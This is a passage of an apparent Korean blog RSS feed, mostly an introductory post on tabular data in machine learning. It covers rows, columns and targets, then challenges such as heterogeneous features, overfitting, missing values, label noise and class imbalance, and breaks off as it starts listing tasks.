&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular 데이터는 가장 흔하면서도, 잘 다루기 위해서는 도메인 지식과 ML 지식을 균형 있게 갖춰야 하는 분야이다. 앞으로의 강의에서 각 주제를 더 깊이 파고들 예정이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;참고: 성균관대학교 Efficient Learning Lab, Hankook Lee 교수 강의 자료 기반&lt;/i&gt;&lt;/p&gt;</description>
      <category>AI/ML&amp;amp;DL</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/257</guid>
      <comments>https://noong2.tistory.com/257#entry257comment</comments>
      <pubDate>Wed, 24 Jun 2026 05:02:00 +0900</pubDate>
    </item>
    <item>
      <title>[ML] Tabular - 표 형식 데이터 1</title>
      <link>https://noong2.tistory.com/256</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝이라는 단어를 들으면 많은 사람들이 고양이와 개를 구분하는 이미지 인식 모델이나, 유창하게 대화를 이어가는 ChatGPT 같은 AI를 떠올린다. 하지만 실제 기업과 현장에서 가장 많이 쓰이는 데이터 형식은 따로 있다. 바로 &lt;b&gt;테이블(Tabular) 데이터&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 테이블 데이터가 무엇인지, 왜 다루기 어려운지, 그리고 어떤 문제들을 풀 수 있는지를 비전공자도 이해할 수 있는 수준으로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Tabular 데이터란 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Tabular(테이블형) 데이터&lt;/b&gt;란, 이름 그대로 &lt;b&gt;행(row)과 열(column)로 이루어진 표 형태의 데이터&lt;/b&gt;이다. 엑셀이나 구글 스프레드시트를 떠올리면 바로 이해된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;행(Row)&lt;/b&gt;: 하나의 관측값, 즉 데이터 한 건을 나타낸다. &lt;br /&gt;예를 들어 고객 한 명, 거래 한 건, 환자 한 명이 각각 하나의 행이 된다.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;열(Column)&lt;/b&gt;: 각 관측값이 가진 속성(feature)을 나타낸다. &lt;br /&gt;예를 들어 나이, 요금, 계약 유형, 사용 기간 같은 정보들이다.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;타겟(Target)&lt;/b&gt;: 예측하고 싶은 값이 담긴 특별한 열이다. &lt;br /&gt;예를 들어 &quot;고객이 서비스를 해지했는가(Yes/No)&quot; 같은 것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 예시 표를 보면 직관적으로 이해된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;height: 206px;&quot; width=&quot;799&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;ID&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;나이&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;월 요금&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;계약 유형&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;사용 기간(월)&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;해지 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;34&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;$75&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;월정액&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;52&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;$45&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;2년 약정&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;48&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;28&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;$120&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;월정액&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;41&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;$60&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;1년 약정&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;24&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 형식이 바로 Tabular 데이터이다. 우리가 일상에서 접하는 거의 모든 데이터베이스가 이 형식으로 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;810&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YxLXX/dJMcaiRj0GZ/kJM15DMLAisvpG0uMrWm11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YxLXX/dJMcaiRj0GZ/kJM15DMLAisvpG0uMrWm11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YxLXX/dJMcaiRj0GZ/kJM15DMLAisvpG0uMrWm11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYxLXX%2FdJMcaiRj0GZ%2FkJM15DMLAisvpG0uMrWm11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1628&quot; height=&quot;810&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;810&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Tabular 데이터의 특징들 &amp;mdash; 왜 이게 어렵나?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지나 텍스트 데이터를 다루는 딥러닝이 워낙 유명하다 보니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular 데이터는 &quot;그냥 표니까 쉽겠지&quot;라고 오해하기 쉽다. 하지만 실제로는 독특한 도전 과제들이 존재한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 열마다 데이터 종류가 다르다 (이질적인 특성)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 데이터는 모든 픽셀이 0~255 사이의 숫자라는 &lt;b&gt;동일한 형식&lt;/b&gt;을 갖는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Tabular 데이터는 하나의 행 안에 완전히 다른 종류의 정보가 섞여 있다.&lt;/p&gt;
&lt;table style=&quot;height: 241px;&quot; width=&quot;804&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style15&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;데이터 유형&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;수치형 (Numerical)&lt;/td&gt;
&lt;td&gt;나이, 가격, 온도, 자녀 수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;범주형 (Categorical)&lt;/td&gt;
&lt;td&gt;국가, 색상, 카테고리, 학력 수준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이진형 (Binary)&lt;/td&gt;
&lt;td&gt;Yes/No, True/False, 0/1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;날짜/시간형 (Datetime)&lt;/td&gt;
&lt;td&gt;타임스탬프, 날짜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자유 텍스트 (Text)&lt;/td&gt;
&lt;td&gt;사용자 후기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;기타&lt;/td&gt;
&lt;td&gt;이미지, 동영상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 열이 서로 다른 통계적 성질을 갖기 때문에, 모델은 이 이질성을 모두 처리할 수 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 열의 순서가 의미가 없다 (공간&amp;middot;순서 구조 없음)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지에서는 &lt;b&gt;인접한 픽셀끼리 연관&lt;/b&gt;이 있다. 텍스트에서는 &lt;b&gt;단어의 순서&lt;/b&gt;가 의미를 만든다. 그래서 이미지에는 CNN(합성곱 신경망)이, 텍스트에는 RNN이나 Transformer가 잘 맞는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면 Tabular 데이터는 열의 순서에 특별한 의미가 없다. &quot;나이&quot; 열과 &quot;연봉&quot; 열의 순서를 바꾼다고 해서 데이터의 의미가 달라지지 않는다. 따라서 Tabular 데이터용 모델은 &lt;b&gt;열의 순서에 관계없이 같은 결과를 내야&lt;/b&gt; 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 &lt;b&gt;순열 불변성(permutation invariance)&lt;/b&gt;이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 데이터 양이 적다 (소규모~중규모 데이터셋)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지나 텍스트용 딥러닝 모델은 &lt;b&gt;수십억 개&lt;/b&gt;의 샘플로 학습된다. 하지만 현실의 Tabular 데이터셋은 &lt;b&gt;고작 수천 행&lt;/b&gt;인 경우가 많고, &lt;b&gt;열의 수도 수십~수천 개에 불과&lt;/b&gt;하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터가 적으면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복잡한 딥러닝 모델은 &lt;b&gt;과적합(overfitting)&lt;/b&gt; 되기 쉽다 (학습 데이터에만 특화되고 새 데이터에는 못 씀)&lt;/li&gt;
&lt;li&gt;오히려 &lt;b&gt;귀납적 편향(inductive bias)&lt;/b&gt; 이 강한 모델, 즉 의사결정 트리 기반 앙상블 모델(XGBoost, LightGBM 등)이 더 잘 작동한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &lt;b&gt;과적합(overfitting)&lt;/b&gt;를 비유하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px 0px 12px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-sae=&quot;&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAAIBBAA&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;b&gt;훈련 데이터 = 기출문제 3개&lt;/b&gt;: 공부할 수 있는 문제가 3개밖에 없는상황&lt;/span&gt;&lt;/li&gt;
&lt;li data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px 0px 12px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-sae=&quot;&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAAIBBAD&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;b&gt;과적합 모델 = 암기 천재 학생&lt;/b&gt;: 학생은 머리가 너무 좋아서 문제의 개념을 이해하는 대신, 문제의 글자 크기, 점 하나, 오타까지 통째로 외워버린다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px 0px 12px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-sae=&quot;&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAAIBBAG&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(230, 232, 240);&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;&lt;b&gt;테스트 결과 = 실전 시험 빵점&lt;/b&gt;: 기출문제 3개는 100점을 맞지만, 실전 시험에서 숫자나 단어가 조금만 바뀌어 나오면 아예 풀지 못한다. 보편적인 원리를 배운 게 아니라 특정 문제 자체를 외웠기 때문이다. 운용을 하지 못함.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;경험한 표본이 너무 적은 상태에서 눈앞의 조건에만 완벽하게 맞추려다 보니 정작 중요한 본질(규칙)을 놓치는 현상&lt;/b&gt;으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국, &lt;b&gt;한 사람을 위한 요리사&lt;/b&gt;가 되는것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 결측값이 흔하다 (Missing Values)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현실 데이터에는 &lt;b&gt;빈칸&lt;/b&gt;이 정말 많다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;센서가 잠깐 꺼진 사이 값이 빠진다&lt;/li&gt;
&lt;li&gt;설문 응답자가 일부 질문을 건너뛴다&lt;/li&gt;
&lt;li&gt;여러 출처에서 데이터를 합쳤을 때 형식이 맞지 않는다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델은 이런 &lt;b&gt;불완전한 입력&lt;/b&gt;을 처리할 수 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 레이블이 시끄럽고 불완전하다 (Noisy Labels)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예측 대상인 &quot;정답(Label)&quot;도 완벽하지 않다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사람이 직접 붙인 레이블은 &lt;b&gt;일관성&lt;/b&gt;이 없을 수 있다&lt;/li&gt;
&lt;li&gt;회사 정책이 &lt;b&gt;시간&lt;/b&gt;에 따라 바뀌면 과거 레이블과 현재 레이블의 기준이 달라진다&lt;/li&gt;
&lt;li&gt;잘못 설계된 레이블은 &lt;b&gt;데이터 누수(leakage)&lt;/b&gt; 를 유발한다 &amp;mdash; 즉, 정답을 이미 알고 있는 정보가 입력 특성에 몰래 섞이는 것이다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 클래스 불균형이 심하다 (Class Imbalance)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 Tabular 예측 문제는 정답 분포가 &lt;b&gt;극도로 불균형&lt;/b&gt;하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사기 거래 탐지: 전체 거래 중 사기는 0.1%에 불과하다&lt;/li&gt;
&lt;li&gt;질병 진단: 희귀 질환 환자 수는 매우 적다&lt;/li&gt;
&lt;li&gt;불량 제품 탐지: 불량률은 수 % 이하다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 상황에서 모델이 &quot;그냥 전부 정상&quot;이라고 예측해도 정확도가 99%가 되어버린다. 따라서 &lt;b&gt;정확도(Accuracy) 외의 평가 지표&lt;/b&gt;가 반드시 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &lt;b&gt;클래스 불균형(Class Imbalance)&lt;/b&gt; 이란?&lt;br /&gt;학교에서 100명 중 99명이 건강하고 1명만 아픈 상황을 생각해보자.&lt;br /&gt;어떤 의사가 아무것도 검진하지 않고 &lt;b&gt;모두 건강합니다 &lt;/b&gt;라고만 말한다면, 정확도는 무려 99%이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이 의사는 아무 쓸모가 없다. 정작 아픈 1명을 한 명도 못 찾아냈기 때문이다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;높은 정확도 = 좋은 모델&lt;/b&gt;이라는 공식은 불균형 데이터에서 완전히 무너진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사기 탐지, 암 진단, 불량 탐지처럼 &lt;b&gt;희귀하지만 치명적인 케이스&lt;/b&gt;를 잡아야 하는 문제에서는 정확도 대신 다른 기준이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;7. 도메인이 다양하고 전문 지식이 부족하다 (레퍼런스)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular 데이터는 금융, 의료, 제조, 교육, 이커머스 등 &lt;b&gt;어디에나&lt;/b&gt; 존재한다. 각 도메인마다 중요한 특성 조합(패턴)이 다르고, 그 패턴은 데이터를 분석하기 전까지 알 수 없는 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;정리: Tabular 데이터가 어려운 이유&lt;/h4&gt;
&lt;table style=&quot;height: 311px;&quot; width=&quot;819&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style15&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;해결해야 할 과제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;이질적인 특성 유형&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;서로 다른 통계적 성질 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;공간/순서 구조 없음&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;순열 불변성 확보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;소규모 데이터&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;과적합 방지, 데이터 효율성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;결측값&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;불완전한 입력 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;노이즈가 많은 레이블&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;강건성 확보, 데이터 누수 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;클래스 불균형&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;다수 클래스 편향 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;다양한 도메인&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;도메인 간 적응력&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 Tabular 데이터는 결코 단순하지 않다. 오히려 이미지나 자연어처리(NLP) 분야와는 &lt;b&gt;전혀 다른 고유한 어려움&lt;/b&gt;을 갖고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1035&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCbS6P/dJMcac4CNMc/pjriKUT4twg68Ie67bydXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCbS6P/dJMcac4CNMc/pjriKUT4twg68Ie67bydXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCbS6P/dJMcac4CNMc/pjriKUT4twg68Ie67bydXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCbS6P%2FdJMcac4CNMc%2FpjriKUT4twg68Ie67bydXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;1035&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1035&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Tabular 데이터로 할 수 있는 일들&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular 데이터를 가지고 무엇을 할 수 있을까? 크게 다섯 가지 주요 작업이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 예측 (Prediction / Supervised Learning)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 많이 쓰이는 유형이다. 과거 데이터를 학습해서 &lt;b&gt;새로운 데이터의 값을 예측&lt;/b&gt;한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
